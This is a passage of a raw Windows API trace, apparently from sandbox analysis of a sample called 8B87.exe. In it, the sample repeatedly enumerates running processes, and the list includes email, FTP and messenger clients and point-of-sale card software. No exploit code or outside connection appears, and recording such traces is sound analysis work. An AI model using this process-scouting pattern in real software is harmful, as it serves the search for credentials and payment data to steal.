th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0214.236] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0214.238] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0214.240] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0214.242] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0214.245] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0214.247] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0214.249] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0214.251] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0214.253] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0214.256] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0214.258] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0214.260] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0214.262] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0214.265] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0214.268] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0214.270] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0214.272] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0214.274] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0214.277] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0214.279] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0214.281] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0214.283] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0214.285] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0214.287] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0214.289] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0214.291] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0214.293] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0214.296] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0214.298] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0214.300] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0214.408] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0214.410] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0214.412] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0214.415] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0214.417] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0214.419] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0214.422] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0214.427] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.429] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0214.431] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0214.433] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.436] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0214.438] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0214.440] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0214.441] CloseHandle (hObject=0x11c8) returned 1 [0214.442] Sleep (dwMilliseconds=0x64) [0214.548] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0214.565] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.567] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.570] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.572] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.576] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.578] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.581] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.584] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.586] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.589] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.592] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.594] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.597] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.599] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.602] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.605] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.607] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.609] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.612] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.617] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.620] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0214.622] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.625] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.732] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0214.734] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0214.736] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0214.738] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0214.740] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0214.745] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0214.748] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0214.751] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.753] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.756] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0214.758] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.760] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0214.761] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0214.763] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0214.765] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, 